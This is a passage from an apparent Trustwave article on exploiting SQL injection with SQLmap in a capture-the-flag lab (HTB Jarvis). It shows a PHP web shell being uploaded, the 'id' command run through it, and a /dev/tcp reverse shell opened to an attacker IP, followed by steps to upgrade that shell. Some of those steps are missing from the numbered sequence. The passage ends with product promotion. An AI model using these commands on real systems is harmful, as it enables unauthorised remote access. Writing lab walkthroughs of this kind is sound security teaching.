temporarily) this web page. To further investigate this, after the 90-second ban, a simple curl
command was used to extract the HTTP response header of the web server target. As shown in
Figure 67, the curl command has exposed the existence of a web application firewall (as correctly
predicted by SQLmap) named IronWAF with a version of 2.0.3.
At this point in the CTF, no foothold has been obtained yet. However, whenever a web service
(HTTP or HTTPS) has been compromised, there exists a great chance of establishing a web shell.
Essentially, a web shell is a script or executable code (often written in PHP, ASP, or JSP) that is
uploaded to a vulnerable server, allowing an attacker to execute arbitrary commands remotely
through a browser interface. It acts as a backdoor into the compromised web server, enabling an
attacker to navigate the file system, upload or download files, escalate privileges, and even pivot
deeper into the internal network, all from a web interface or command-line proxy.
To deploy the crafted PHP web shell onto the target machine, SQLmap’s powerful file upload
functionality is leveraged by using the `--file-write` and `--file-dest` parameters, as shown in
Figure 73. The `--file-write` flag specifies the path to the local file intended for upload and in this
case, it is fed with the value of `./shell.php` On the other hand, the `--file-dest` flag merely sets
the exact location on the remote server where the file should be written, which is the web root (/
var/www/html/shell.php) in this case. By targeting this location, it ensures that the uploaded PHP
web shell becomes publicly reachable through a standard HTTP request.
With the PHP web shell successfully uploaded to the target’s web root directory, the next
logical step is to verify its functionality via a web browser. As shown in Figure 74, accessing
`http://10.10.10.143/shell.php?cmd=id` will execute the `id` command on the server, which
returns information about the current user context under which the web server is running. The
response, visible in the browser window, confirms execution with output as `uid=33(www-data)
gid=33(www-data) groups=33(www-data)`, clearly indicating that the command ran successfully
under the `www-data` user account. The `www-data` user is a common service-level user in
Linux-based web environments. If a terminal interface is preferred mode, then the `curl` command
is a great alternative to utilize the web shell as well as demonstrated in Figure 75.
A functioning web shell is great, but to obtain a foothold via a reverse shell is even better. This is
because a reverse shell provides an interactive and persistent connection back to the attacker’s
machine, allowing for more flexible command execution, real-time feedback, and the ability to
run complex scripts or tools that are not feasible through a simple web shell interface. This shift
greatly enhances post-exploitation capabilities, such as privilege escalation, lateral movement,
and file transfer operations. In addition, a reverse shell can help evade logging mechanisms and
web application firewalls by minimizing the visibility of malicious requests in the target’s HTTP
logs.
To start the process of establishing a reverse shell, a Netcat listener is activated using the
command `nc -lvnp 4444`, as shown in Figure 76. The web shell is then revisited to execute the
command `/bin/sh -i >& /dev/tcp/10.10.14.21/4444 0>&1`, as shown in Figure 77. This initiates a
connection from the target machine back to the attacker’s Netcat listener, effectively spawning
a reverse shell. Once executed through the web shell, the attacker’s Netcat listener immediately
receives an incoming connection, granting direct terminal access to the compromised machine
under the privileges of the web server process (typically www-data). This marks the transition
from a passive web-based interaction to an active, interactive shell session.
This Netcat reverse shell is great, but it can be further improved to provide a more stable and
fully interactive shell environment. By default, reverse shells obtained through Netcat are often
limited in functionality, lacking features such as command history, tab completion, and proper
signal handling (e.g., `Ctrl+C` shortcut). These limitations can make post-exploitation actions
cumbersome and error-prone. To overcome these obstacles and elevate the reverse shell
experience to something closer to a native terminal session, a common approach is to upgrade
it using a series of terminal control commands. This process enables a pseudo-terminal and
configures the terminal settings to restore essential interactive capabilities.
Firstly, begin by executing the command `python -c ‘import pty; pty.spawn(“bash”)’` in the reverse
shell, as shown in Figure 78. This wraps the current shell session in a pseudo-terminal, which
grants it behavior similar to a full-fledged terminal.
Thirdly, on your local terminal, run the command `stty raw -echo; fg`, as shown in Figure 80. This
command sets your terminal to raw mode and disables local echo, which is essential for correctly
handling input and output between your terminal and the reverse shell, while the `fg` command
brings the reverse shell back into the foreground.
Fifthly, once reattached to the shell, type the command `reset` and press `Enter`, as shown in
Figure 81. This reinitializes the terminal environment, ensuring proper screen formatting and shell
behavior.
Lastly, if prompted for a terminal type, simply type `screen` or` xterm` and then press `Enter`, as
shown in Figure 82. This informs the shell of the terminal capabilities to emulate, restoring features
such as line editing and command history.
As shown in Figure 83, following this procedure significantly enhances the usability of the reverse
shell, making it much more practical for further enumeration and exploitation tasks.
Throughout this article, we explored the foundational aspects of SQL injection vulnerabilities
using DVWA as our controlled testing environment. We began with an overview of SQL injection
and SQLmap, then moved on to the Dockerized deployment of DVWA. A detailed breakdown
of both the back-end PHP logic and front-end interfaces for the low and medium difficulty
levels illustrated how unsanitized user input can lead to exploitable flaws. Through SQLmap, we
conducted a range of automated attacks, starting with simple banner grabs and expanding to
full database enumeration and data dumping. We also incorporated techniques such as delayed
executions and roles/privilege enumeration to optimize our exploitation efforts.
We also discussed advanced SQL injection challenges presented in the high and impossible
difficulty levels of the DVWA. This included bypassing WAFs using tamper scripts, leveraging
SQLmap’s more aggressive flags such as `--technique`, `--threads`, and `--os-shell`, as well
as deploying web shells through file write operations. Aside from that, we also stepped beyond
DVWA to explore real-world scenarios using vulnerable machines including Jarvis from HTB. As
complexity increases, so too will our emphasis on stealth, evasion, and post-exploitation tactics,
which sets the stage for mastering SQLmap in realistic and hardened environments.
Trustwave’s dbProtect and AppDetectivePro products offer robust security coverage and
hardening checks against such SQL injection attack vectors. These solutions are equipped
with Database Activity Monitoring (DAM) capabilities that can identify and provide alerts on
suspicious SQLmap-generated behavior such as error-based and UNION SELECT enumeration
as well as SQL comment and quotation mismatch input detection attempts. They can also detect
misconfigurations and missing patches that make SQLi vulnerabilities exploitable. Furthermore,
their support extends to vulnerability assessment, policy compliance (e.g., CIS, DISA-STIG, etc.),
real-time monitoring, and signature-based detection of known CVEs across PostgreSQL, MS SQL,
MySQL, MariaDB, MongoDB, Elasticsearch, OracleDB and many more database platforms.
About Trustwave
Trustwave is a globally recognized cybersecurity leader that reduces cyber risk and fortifies
organizations against disruptive and damaging cyber threats. Our comprehensive offensive and
defensive cybersecurity portfolio detects what others cannot, responds with greater speed and
effectiveness, optimizes client investment, and improves security resilience. Learn more about us.